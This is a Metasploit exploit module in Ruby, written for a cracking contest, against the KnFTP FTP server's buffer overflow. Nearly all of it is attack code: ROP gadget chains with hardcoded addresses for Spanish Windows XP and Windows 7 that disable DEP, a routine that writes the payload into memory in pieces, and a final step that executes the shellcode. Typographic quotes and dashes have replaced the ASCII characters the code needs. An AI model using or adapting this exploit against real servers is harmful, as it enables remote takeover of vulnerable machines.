#module for metasploit framework, for more information
#see the Description.
#Copyright (C) October 04th 2011
#Author: Javier Aguinaga (pasta) el.tio.pastafrola[at]gmail.com
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘KnFTP FTP Server Multiple Commands Remote Buffer Overflow Vulnerabilities’,
‘Description’ => %q{
This module exploits a vulnerability in the KnFTP
application. The same by-pass DEP with AlwaysOn.
Built for the 10th contest of [C]racks[L]atino[S].
},
‘Author’ => [ ‘pasta’ ],
‘License’ => GPL_LICENSE,
‘Version’ => ‘$Revision: 0 $’,
‘References’ =>
[
[ ‘URL’, ‘http://www.securityfocus.com/bid/49427’],
],
‘Privileged’ => false,
‘Payload’ =>
{
‘Space’ => 0x300,
‘BadChars’ => “\x00”,
‘DisableNops’=> ‘True’
},
‘Platform’ => [ ‘win’ ],
‘Targets’ =>
[
[
‘Windows XP SP2/SP3 Spanish (NX)’,
{
‘rop_movs’ => [
0x77bf1d16, # POP EAX
0x41414141, # PADDING
0x77c07451, # LEA EAX,[EBP-10]
0x77bf2751, # EBP = ESP+C && JMP EAX <–
# se ejecuta la carga de EBP
# y despues carga en EAX el valor
# EBP-10, esto es x el JMP EAX
0x77bef2c1, # ADD EAX,8
0x77bef2c1, # ADD EAX,8
0x77bef2c1, # ADD EAX,8
0x77bef2c1, # ADD EAX,8
0x77be95ab, # XCHG EAX,ESI # CMPS <– ROBA
0x77c0620b, # MUEVE 6 DWORDS DE ESI A EDI
0x41414141, # JUNK
0x41414141, # JUNK
0x77bf22b6 # JMP $
],
‘rop_popeax_null’ => [
0x77bef519, # POP ECX
0x41414141, # PADDING
0x42424242, # JUNK
0x77bf1d16, # POP EAX
0x42424242, # JUNK
0x77c0f284 # LEA EAX,[EAX+ECX*8]
],
‘rop_popeax’ => [
0x77bf1d16, # POP EAX
0x41414141, # PADDING
0x42424242 # JUNK
],
‘rop_writemem’ => [
0x77bef519, # POP ECX
0x42424242, # JUNK
0x77c12f02, # MOV [ECX],EAX
0x42424242, # JUNK
0x77bf22b6 # JMP $
],
‘rop_jmpeax’ => [
0x77be68cd, # JMP EAX
],
‘rop_changeeip’ => [
0x77bf1d16, # POP EAX
0x41414141, # PADDING
0x41414141, # JUNK
0x77be68cd # JMP EAX
],
‘place4payload’ => 0x77e1ac81, # .data msvcrt
‘place4argumen’ => 0x77e1ab40, # .data msvcrt
‘loop’ => 0x77bf22b6, # JMP $
}
],
[
‘Windows 7 Professional SP1 Spanish (NX)’,
{
‘rop_movs’ => [
0x770c181f,
0x41414141,
0x77099871,
0x770abffd,
0x7709a5c5,
0x7709a5c5,
0x7709a5c5,
0x7709a5c5,
0x770ce0ab,
0x770c07d2,
0x41414141,
0x41414141,
0x770aac5b
],
‘rop_popeax_null’ => [
0x7709a984,
0x41414141,
0x42424242,
0x770c181f,
0x42424242,
0x770c040f
],
‘rop_popeax’ => [
0x770c181f,
0x41414141,
0x42424242
],
‘rop_writemem’ => [
0x7709a984,
0x42424242,
0x770a3bdb,
0x42424242,
0x770aac5b
],
‘rop_jmpeax’ => [
0x7709c441,
],
‘rop_changeeip’ => [
0x770c181f,
0x41414141,
0x41414141,
0x7709c441
],
‘place4payload’ => 0x77136C01,
‘place4argumen’ => 0x77136a80,
‘loop’ => 0x77bf22b6,
}
],
],
‘DisclosureDate’ => ‘Sept 19 2011’,
‘DefaultTarget’ => 0))
register_options(
[
OptInt.new(‘TIME’, [ true, ‘Delay between packets. (seconds)’, 5 ]),
], self.class)
end
def exploit
connect
print_status(“Sending eggs”)
address = target[‘place4payload’] + 0x300
payload.encoded << ‘A’*(16 – payload.encoded.length % 16)
(payload.encoded.length/16).times {|i|
i += 1
buf = ‘A’*276
buf << [address – 16 * i].pack(‘<L’)
buf << ‘A’*4
buf << target[‘rop_movs’].pack(‘V*’) + ‘1’ # <– byte corrido por CMPS
buf << payload.encoded[payload.encoded.length – 16 * i, 16]
sleep(datastore[‘TIME’])
print “=”*i + ” “*((payload.encoded.length/16)-i) + “> #{i}/#{payload.encoded.length/16} egg[s]\r”
send_user(buf)
disconnect
connect
}
memory = target[‘place4argumen’]
keys = {
memory+0x04 => target[‘loop’],
memory-0x38 => target[‘place4payload’],
memory-0x2c => 0x300,
memory-0x1c => 0x40
}
print_status(“Disabling [D]ata [E]xecution [P]revention”)
j = 1
keys.each {|direction, dword|
buf = ‘A’*284
if [dword].pack(‘<L’).index(0.chr)
ecx = 0x01111111
eax = 2**32 + dword – ecx*8
target[‘rop_popeax_null’][2] = ecx
target[‘rop_popeax_null’][4] = eax
buf << target[‘rop_popeax_null’].pack(‘V*’)
else
target[‘rop_popeax’][2] = dword
buf << target[‘rop_popeax’].pack(‘V*’)
end
target[‘rop_writemem’][1] = direction
buf << target[‘rop_writemem’].pack(‘V*’)
sleep(datastore[‘TIME’])
print “=”*j + ” “*(5-j) + “> #{j}/5 egg[s]\r”
j += 1
send_user(buf)
disconnect
#connect again
connect
}
buf = ‘A’*280
buf << [memory].pack(‘<L’)
load_arguments = 0x00403822
ecx = 0x01111111
eax = 2**32 + load_arguments – ecx * 8
target[‘rop_popeax_null’][2] = ecx
target[‘rop_popeax_null’][4] = eax
buf << (target[‘rop_popeax_null’] + target[‘rop_jmpeax’] + [0x41414141]).pack(‘V*’)
sleep(datastore[‘TIME’])
print “=====> 5/5\r”
send_user(buf)
print_good(“PAYLOAD INJECT SUCCESSFULL”)
disconnect
connect
buf = ‘A’*284
target[‘rop_changeeip’][2] = target[‘place4payload’] + 0x300 – payload.encoded.length + 7
buf << target[‘rop_changeeip’].pack(‘V*’)
print_status(“Executing shellcode…”)
send_user(buf)
sleep(datastore[‘TIME’]*4)
handler
disconnect
end
end
0 条评论。